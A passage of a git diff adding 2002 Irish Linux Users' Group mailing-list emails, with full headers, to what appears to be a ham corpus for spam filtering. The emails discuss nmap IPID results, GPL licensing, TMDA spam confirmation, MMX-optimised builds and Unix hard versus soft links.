mode 100644 index 0000000..d590df5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00096.b8e6dd7a82c0488cafcdc332b65f4124 @@ -0,0 +1,87 @@ +From ilug-admin@linux.ie Mon Jul 22 18:12:45 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3FE5E440D7 + for ; Mon, 22 Jul 2002 13:12:25 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:12:25 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFGv901750 for + ; Mon, 22 Jul 2002 16:16:57 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id PAA32424 for ; + Mon, 22 Jul 2002 15:26:53 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA30102; Mon, 22 Jul 2002 15:21:57 +0100 +Received: from mail2.xelector.com ([62.17.160.138]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA30077 for ; Mon, + 22 Jul 2002 15:21:50 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [62.17.160.138] claimed to + be mail2.xelector.com +Received: from [172.18.80.15] (helo=xelwx002.xelector.com) by + mail2.xelector.com with esmtp (Exim 3.34 #1) id 17WdyF-0001up-00; + Mon, 22 Jul 2002 15:15:31 +0100 +Received: from xeljreilly (xeljreilly.talbot.xelector.com [172.18.80.234]) + by xelwx002.xelector.com with SMTP (Microsoft Exchange Internet Mail + Service Version 5.5.2653.13) id 39X75HBN; Mon, 22 Jul 2002 15:19:01 +0100 +Message-Id: <000701c2318a$993a2e10$ea5012ac@xelector.com> +From: "John Reilly" +To: "Paul O'Neil" , +References: +Subject: Re: [ILUG] nmap results +Date: Mon, 22 Jul 2002 15:18:06 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.00.2919.6600 +X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6600 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +As far as I can remember, the fact that the IPID is zero was introduced into +2.4 was to introduce correct behaviour, i.e. in the case where it is not +needed, it is set to zero. This was discussed on bugtraq a while +ago....lemme see... +http://cert.uni-stuttgart.de/archive/bugtraq/2002/03/msg00372.html shows a +message from nmap's author on the subject. The only thing having IPID==0 +achieves is that you have one more criteria on which to base your OS +fingerprint which isn't really much of a problem to be honest. + +Stop worrying about it :) + +Cheers, +jr +----- Original Message ----- +From: "Paul O'Neil" +To: +Sent: Monday, July 22, 2002 1:50 PM +Subject: [ILUG] nmap results + + +> I had posted previously about the 2.4 kernel using iptables I ran nmap +> against. The IPID sequence generation was all zeros. Someone said this was +> indicative of earlier kernels but was fixed about 2.4.5 version. Since I'm +> running the latest what is causing this? I ran nmap against a 2.2 kernel +> using chains and it had better results than the stock 2.4 kernel. +> +> -- +> Irish Linux Users' Group: ilug@linux.ie +> http://www.linux.ie/mailman/listinfo/ilug for (un)subscription +information. +> List maintainer: listmaster@linux.ie + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00097.3617ec656941c7f331701a661ae5a72f b/bayes/spamham/easy_ham_2/00097.3617ec656941c7f331701a661ae5a72f new file mode 100644 index 0000000..bf42338 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00097.3617ec656941c7f331701a661ae5a72f @@ -0,0 +1,80 @@ +From ilug-admin@linux.ie Mon Jul 22 18:12:52 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9094C440D9 + for ; Mon, 22 Jul 2002 13:12:26 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:12:26 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG3TY17504 for + ; Mon, 22 Jul 2002 17:03:29 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id TAA24602 for ; + Sat, 20 Jul 2002 19:04:03 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id TAA28461; Sat, 20 Jul 2002 19:03:29 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id TAA28423 for ; + Sat, 20 Jul 2002 19:03:20 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) by ie.suberic.net + (8.11.6/8.11.6) with ESMTP id g6KI3J925905 for ; + Sat, 20 Jul 2002 19:03:19 +0100 +Date: Sat, 20 Jul 2002 19:03:17 +0100 +To: Niall O Broin , ilug@linux.ie +Subject: Re: [ILUG] [OT] GPL & PHP Question +Message-Id: <20020720190317.F23917@ie.suberic.net> +References: <200207192053.VAA32306@lugh.tuatha.org> + <20020719224739.GC3854@bagend.makalumedia.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <20020719224739.GC3854@bagend.makalumedia.com>; + from niall@linux.ie on Fri, Jul 19, 2002 at 11:47:39PM +0100 +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +X-Delivery-Agent: TMDA/0.57 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Fri, Jul 19, 2002 at 11:47:39PM +0100, Niall O Broin wrote: +> > I know this is not strictly a 'Linux' issue but any help would be appreciated +> Microsoft has very much made this a Linux issue - it has attempted to imply +> that any company using GPL software must make everything it owns public and +> it must be true - that nice man from Microsoft wouldn't lie, would he ? + +but that's just stupid. microsoft s/w covers a subset of applications +that are under the gpl. there are gpl word processors, there's a +microsoft wp; there are various language compilers and interpreters under +the gpl, microsoft has their visual compilers. and so on. and just +like the gpl apps, the microsoft apps are distributed under a license. +that license says lots of things, and there are various licenses used by +microsoft, but in a nutshell they all pretty much say: you can't copy, +distribute or modify their s/w; you can't sell it multiple times. + +so does anyone think that applies to their wp documents or their visual +c++ code? + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00098.1f05327de561b3fbddc71882e2f3457e b/bayes/spamham/easy_ham_2/00098.1f05327de561b3fbddc71882e2f3457e new file mode 100644 index 0000000..45a0d0e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00098.1f05327de561b3fbddc71882e2f3457e @@ -0,0 +1,93 @@ +From ilug-admin@linux.ie Mon Jul 22 18:12:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2385B440DA + for ; Mon, 22 Jul 2002 13:12:27 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:12:27 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFIV903109 for + ; Mon, 22 Jul 2002 16:18:31 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id KAA31180 for ; + Mon, 22 Jul 2002 10:42:04 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA19400; Mon, 22 Jul 2002 10:41:00 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA19364 for ; + Mon, 22 Jul 2002 10:40:48 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) by ie.suberic.net + (8.11.6/8.11.6) with ESMTP id g6M9ek923178 for ; + Mon, 22 Jul 2002 10:40:46 +0100 +Date: Mon, 22 Jul 2002 10:40:44 +0100 +To: Paul Jakma +Cc: irish linux users group +Subject: tmda (was: Re: [ILUG] jpeg patented...) +Message-Id: <20020722104044.B22647@ie.suberic.net> +References: <20020719041127.A29748@ie.suberic.net> + +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: ; + from paul@clubi.ie on Sun, Jul 21, 2002 at 11:12:34PM +0100 +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +X-Delivery-Agent: TMDA/0.57 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Sun, Jul 21, 2002 at 11:12:34PM +0100, Paul Jakma wrote: +> oh yes, see you've setup that tdma thingy, so here's a thought. do +> you reckon spammers (or the software they use) is/are smart enough to +> +> s/\(.\)+\+.*@\([a-zA-Z\.0-9\-]\)/\1@\2/ +> +> on email addresses? it's a fairly old trick, so i dont see why they +> wouldnt. + +the dated address that my from appears as is a good address for five days +for anyone. after that it requires a confirm message from the sender. +my regular email address requires a confirm address if i haven't +explicitly given permission to the sender. + +and yes, spammers could try to set up a system to reply to my confirm +messages, but that would require them to a) give out a valid email address +in their From headers, and b) use a lot more bandwidth then they do now +(thereby costing them more money). + +oh, and they can't forge confirm messages. the confirm message system +works something like this: + + message goes in the pending q and is assigned an id. + that id is encrypted and used to create the from address of the + outgoing confirm mail - kevin+confirm+kghdsfg@ie.suberic.net + only a message to that address will work to free the message from + the q (or i can free it using tmda-pending). + +all of this is discussed on http://tmda.sf.net/ + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00099.36189754f01fbacfea6e28e7777f27a2 b/bayes/spamham/easy_ham_2/00099.36189754f01fbacfea6e28e7777f27a2 new file mode 100644 index 0000000..1ddbde3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00099.36189754f01fbacfea6e28e7777f27a2 @@ -0,0 +1,93 @@ +From ilug-admin@linux.ie Mon Jul 22 18:13:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A7A98440DB + for ; Mon, 22 Jul 2002 13:12:27 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:12:27 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFxvY15665 for + ; Mon, 22 Jul 2002 16:59:57 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id TAA28524 for ; + Sun, 21 Jul 2002 19:07:59 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id TAA20083; Sun, 21 Jul 2002 19:07:34 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail04.svc.cra.dublin.eircom.net + (mail04.svc.cra.dublin.eircom.net [159.134.118.20]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id TAA20052 for ; Sun, + 21 Jul 2002 19:07:28 +0100 +Message-Id: <200207211807.TAA20052@lugh.tuatha.org> +Received: (qmail 83262 messnum 90486 invoked from + network[159.134.158.20/p20.as1.drogheda1.eircom.net]); 21 Jul 2002 + 18:06:45 -0000 +Received: from p20.as1.drogheda1.eircom.net (HELO there) (159.134.158.20) + by mail04.svc.cra.dublin.eircom.net (qp 83262) with SMTP; 21 Jul 2002 + 18:06:45 -0000 +Content-Type: text/plain; charset="iso-8859-15" +From: John Gay +To: ilug@linux.ie +Date: Sun, 21 Jul 2002 19:06:06 +0100 +X-Mailer: KMail [version 1.3.2] +MIME-Version: 1.0 +Content-Transfer-Encoding: 8bit +Subject: [ILUG] Optimising for PentiumMMX? +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +I've been playing with an old Dell OptiPlex5110 and decided to attempt to +build a PentiumMMX optimised Linux on it. + +To start, I installed the bare minimum Debian system for compiling programs. + +Next I built a custom kernel, since most CPU optimizations are best suited to +the kernel code. + +Next I built X4.2.0 from sources, especially since X make a lot of use of +matrixes and can also benifit from MMX optimizations. Since the first build, +I've been encouraged to play with the CVS of both XFree86 and the DRI stuff, +so I will be re-building X once we get some bugs worked out. + +Finally I built KDE3.0BETA1 from sources I had, again to take full advantage +of the MMX processor. + +Can anyone recommend other minimum tools that I should re-build to get even +more improvements in system performance? I know that not all packages can, or +do benefit from being built on PentiumMMX rather than the i386 that Debian +compiles to, but have I covered everything that CAN benefit? + +I am wondering if the C, and other libraries should be re-built? Can they +take advantage of the Pentium and MMX instructions for system performance? +And would this require re-building gcc as well? + +I realise that not everything can benefit from re-compiling. I.E. I doubt I +would see much system improvement if I re-compile bash, but things like the +kernel, X and KDE should improve performance. + +On a related note, I know I've mentioned here before, but I'm still looking +for a Slot 1 550Mhz PIII. My regular system is a Dual PII350 and the 440BX +M/B can take PIII's. I managed to get my hands on one. If I could get another +I could put the two PIII's into this box and re-compile X to use the +SSE/Katmai instructions in the PIII. I just don't thing it is worth replacing +two PII's with one PIII. I know that they are out-of-stock, and I do watch +the Buy-N-Sell regularly, but short of buying a full PIII system, I've not +had much luck. + +Cheers, + + John Gay + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00100.25af616b26d1d9417cd52c0ba42344f9 b/bayes/spamham/easy_ham_2/00100.25af616b26d1d9417cd52c0ba42344f9 new file mode 100644 index 0000000..e5d80e2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00100.25af616b26d1d9417cd52c0ba42344f9 @@ -0,0 +1,111 @@ +From ilug-admin@linux.ie Mon Jul 22 18:13:03 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3B62A440CC + for ; Mon, 22 Jul 2002 13:12:28 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:12:28 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG1wY16885 for + ; Mon, 22 Jul 2002 17:02:03 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id CAA25361 for ; + Sun, 21 Jul 2002 02:45:45 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id CAA12478; Sun, 21 Jul 2002 02:42:14 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id CAA12443 for ; + Sun, 21 Jul 2002 02:42:07 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) by ie.suberic.net + (8.11.6/8.11.6) with ESMTP id g6L1g6930863 for ; + Sun, 21 Jul 2002 02:42:06 +0100 +Date: Sun, 21 Jul 2002 02:42:03 +0100 +To: Paul Jakma +Cc: Aidan Kehoe , + ILUG Mailing List +Subject: Re: [ILUG] How to copy some files +Message-Id: <20020721024203.A29826@ie.suberic.net> +References: <20020720213335.A27034@ie.suberic.net> + +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: ; + from paul@clubi.ie on Sun, Jul 21, 2002 at 01:47:39AM +0100 +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +X-Delivery-Agent: TMDA/0.57 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Sun, Jul 21, 2002 at 01:47:39AM +0100, Paul Jakma wrote: +> isnt this standard behaviour?? mv uses rename() which replaces the +> new path name: + +why, yes. yes it is. i think that was my point. + +> yes it does. :) +> +> but your super-links dont is what you're saying i guess. but why? why +> would you want a symlink, bar, linking to foo, to stop linking if foo +> is changed? + +uh, i wouldn't. i was referring to the previous message which discussed +the idea of a symlink that referred to a 64 bit device id and the inode +of the file. i gave two examples of why it wouldn't work. + +> > % ln -ss foo bar +> > % ls -i foo +> > 111 foo +> > % rm foo +> > % touch floyd +> > % ls -i floyd +> > 111 floyd +> is this an example of inode reuse? :) or do you mean that somehow +> floyd is the new foo, (foo is dead, all hail floyd) and that bar now +> points to floyd? + +yes. i did fail to mention that floyd might not use inode 111, but +it might. and that was my point, having these mythical symlinks point +to the device+inode is not simple. just like the unrm thing, it might +be possible, but hard links and soft links are the best implementations +that have survived to date on unix. windows shortcuts are kinda weird - +they're really an application level thing. + +mac aliases seem to take the idea of unix symlinks (linking by filename) +along with the concept of device+inode. i don't know mac internals, +but i seem to remember being told it tried the former first, and then +tried the latter. how it would deal with the 2nd example i mentioned i +dunno - i'm not certain if the mac version of inodes would suffer from +that (maybe the fs identifier for the file included the creation time +or something like that). + +> how do i control this 'symlinks magically link to new files' feature? + +i think it would be difficult. it would also fail to work in numerous +situations. + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00101.a1cfb633388cd5afa26f517766c57966 b/bayes/spamham/easy_ham_2/00101.a1cfb633388cd5afa26f517766c57966 new file mode 100644 index 0000000..042c16b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00101.a1cfb633388cd5afa26f517766c57966 @@ -0,0 +1,110 @@ +From ilug-admin@linux.ie Mon Jul 22 18:13:05 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C9F69440DC + for ; Mon, 22 Jul 2002 13:12:28 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:12:28 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFGM901412 for + ; Mon, 22 Jul 2002 16:16:22 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id QAA32611 for ; + Mon, 22 Jul 2002 16:04:27 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA32422; Mon, 22 Jul 2002 15:56:06 +0100 +Received: from milexc01.maxtor.com ([134.6.205.206]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA32177 for ; Mon, + 22 Jul 2002 15:55:44 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [134.6.205.206] claimed to + be milexc01.maxtor.com +Received: by milexc01.maxtor.com with Internet Mail Service (5.5.2653.19) + id ; Mon, 22 Jul 2002 15:55:44 +0100 +Message-Id: <0D443C91DCE9CD40B1C795BA222A729E01885483@milexc01.maxtor.com> +From: "Wynne, Conor" +To: "'Irish Linux Users Group'" +Subject: RE: [ILUG] hard- vs. soft-links [was: How to copy some files ] +Date: Mon, 22 Jul 2002 15:55:42 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + PAA32177 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Use the GUI and don't delete files, use the other option, whats it called +again, the dustbin or something ;-) + +Conor who only knows about symbolic links ;-)) + +I'm pretty sure that I have a softlink from +/mnt/public/mnt/public/downloads/Linux/wasteCPU/setiathome to +/home/cwynne/seti + +The /mnt/pub....../seti.. directory resides on an external raidvolume and +/home/../seti is on the internal IDE2 drive. +So I dont have to cd around the gaf. I suppose that would count as across +different devices. + +If you're wondering [probably not] why /mnt/public is there twice, its +because I restored from tapebackup and I didn't know that it keeps the +directory structure. I know now ;-) + +Actually, how can I fix that quickly and easily? I thought about firstly +mv'ing the structure to /tmp. Then copying it back again but I'm sure some +wee genius knows a quickie solution. Mind you I never even bothered trying a +its not a priority now that its all linked anyway. + +CW + +-------------------------------- + hum. interesting variation on the classic technique of + redefining `rm' to `mv' the files into `./.trash/' (or + with a prefix of `#' or a suffix of `~'; the variations + are endless). these classic techniques only provide a + means to roll back accidental `rm's, so there is still + considerable scope for data lost as there are other ways + of deleting files --- which is not a problem for this + hard link idea. + + but, like the classic techniques, there is no rolling + back of accidental overwrites. + + ( rolling back overwrites reminds me of the "snapshot" + facility on NetWork Appliance fileservers. and of the + various "versioning" filesystems which appeared --- and + then vanished? --- over the years.... ) + + one severe(?) gotcha is some files shouldn't have any + hard links. both RCS *,v (and hence CVS) and SCCS s.* + files are like this --- the RCS(/CVS?)/SCCS toolsets + complain if there are hard links. + +cheers, + -blf- +-- + Innovative, very experienced, Unix and | Brian Foster Dublin, +Ireland + Chorus (embedded RTOS) kernel internals | e-mail: blf@utvinternet.ie + expert looking for a new position ... | mobile: (+353 or 0)86 854 +9268 + For a résumé, contact me, or see my website http://www.blf.utvinternet.ie + + Stop E$$o (ExxonMobile): «Whatever you do, don't buy Esso --- they + don't give a damn about global warming.» http://www.stopesso.com + Supported by Greenpeace, Friends of the Earth, and numerous others... + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00102.f05fb87d2b36b53117cb8b5f645b9016 b/bayes/spamham/easy_ham_2/00102.f05fb87d2b36b53117cb8b5f645b9016 new file mode 100644 index 0000000..52e7947 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00102.f05fb87d2b36b53117cb8b5f645b9016 @@ -0,0 +1,120 @@ +From ilug-admin@linux.ie Mon Jul 22 18:13:09 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DA49F440CD + for ; Mon, 22 Jul 2002 13:12:29 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:12:29 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG2WY17154 for + ; Mon, 22 Jul 2002 17:02:32 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id WAA25029 for ; + Sat, 20 Jul 2002 22:26:28 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id WAA03059; Sat, 20 Jul 2002 22:23:00 +0100 +Received: from matrix.netsoc.tcd.ie (netsoc.tcd.ie [134.226.83.50]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id WAA03026; Sat, 20 Jul 2002 + 22:22:51 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host netsoc.tcd.ie + [134.226.83.50] claimed to be matrix.netsoc.tcd.ie +Received: by matrix.netsoc.tcd.ie (Postfix, from userid 1003) id + 5F4D034448; Sat, 20 Jul 2002 22:22:50 +0100 (IST) +From: Aidan Kehoe +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-15 +Content-Transfer-Encoding: 8bit +Message-Id: <15673.54442.292749.439246@gargle.gargle.HOWL> +Date: Sat, 20 Jul 2002 22:22:50 +0100 +To: kevin lyda +Cc: Aidan Kehoe , + ILUG Mailing List +Subject: Re: [ILUG] How to copy some files +In-Reply-To: <20020720213335.A27034@ie.suberic.net> +References: <1027108120.3d386d180910a@webmail.gameshrine.com> + <15673.14143.879609.371088@gargle.gargle.HOWL> + <20020720184341.E23917@ie.suberic.net> + <15673.47359.781493.358686@gargle.gargle.HOWL> + <20020720213335.A27034@ie.suberic.net> +Reply-To: Aidan Kehoe +X-Echelon-Distraction: eternity server SACLANTCEN MP5K-SD Chan M-14 Honduras +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + + Ar an 20ú lá de mí 7, scríobh kevin lyda : + + > On Sat, Jul 20, 2002 at 08:24:47PM +0100, Aidan Kehoe wrote: + > > Ar an 20ú lá de mí 7, scríobh kevin lyda : + > > > actaully i think soft links were invented because you can't hard link + > > > directories. + > > But you could hard link directories, back when soft links were + > > being invented, AFAIK. + > + > that was before my time. all unix systems i've used didn't allow hard + > links to directories, or if they did they were restricted to root. + > the reason why is because you could cause infinite loops in the kernel - + > usually a bad place for infinite loops. + +Yeah, thanks. I have been subscribed for more than a week, despite any +naïveté I may be showing to you :-) . + + > > > apparently some systems limited soft links to the same device but + > > > gave up after a while. + > > Why? + > + > to make them consistent with hard links. + +So, they're the same as hard links, with the disadvantage that they +break on deletion or moving, and they may take up slightly more disk +space. Hmm. + + > > A better way of doing it would be a) have global unique filesystem + > > identifiers for every FS created (such that the chance of two of them + > > clashing is miniscule; 64 bits creatively used would do it, I'd say), + > > and b) implement the target info for the soft link as a {FSID, inode} + > > pair; the OS can work out if the thing linked to is now on a different + > > mount point, or has been moved. (HFS fans, is that what's done? Or are + > > aliases implemented differently?) + > + > let's call these super-soft-links. ln -ss + > + > % ln -ss foo bar + > % ls -i foo + > 111 foo + > % mv floyd foo + > % ls -i foo + > 222 foo + > + > and now bar no longer points to foo. + +True. But "cat floyd > foo; rm floyd" preserves it. Much of a muchness +... + + > the fs would need to maintain a table of links going the other direction. + > so when the move command unlinks foo in the first example, it could + > check the table and mark that bar is now disconnected. the same would + > be true for the second example - and even more important since bar points + > to floyd if no table is consulted. + > + > and this all fails to handle nfs mounted file systems or filesystems + > that have dynamic inodes (the fat fs's and reiser lacks inodes i think). + +Hokay. + +-- +I'm not a pheasant plucker / I'm a pheasant plucker's son. +I'm just a'plucking pheasants / 'Til the pheasant plucker comes. + +-- +Irish Linux 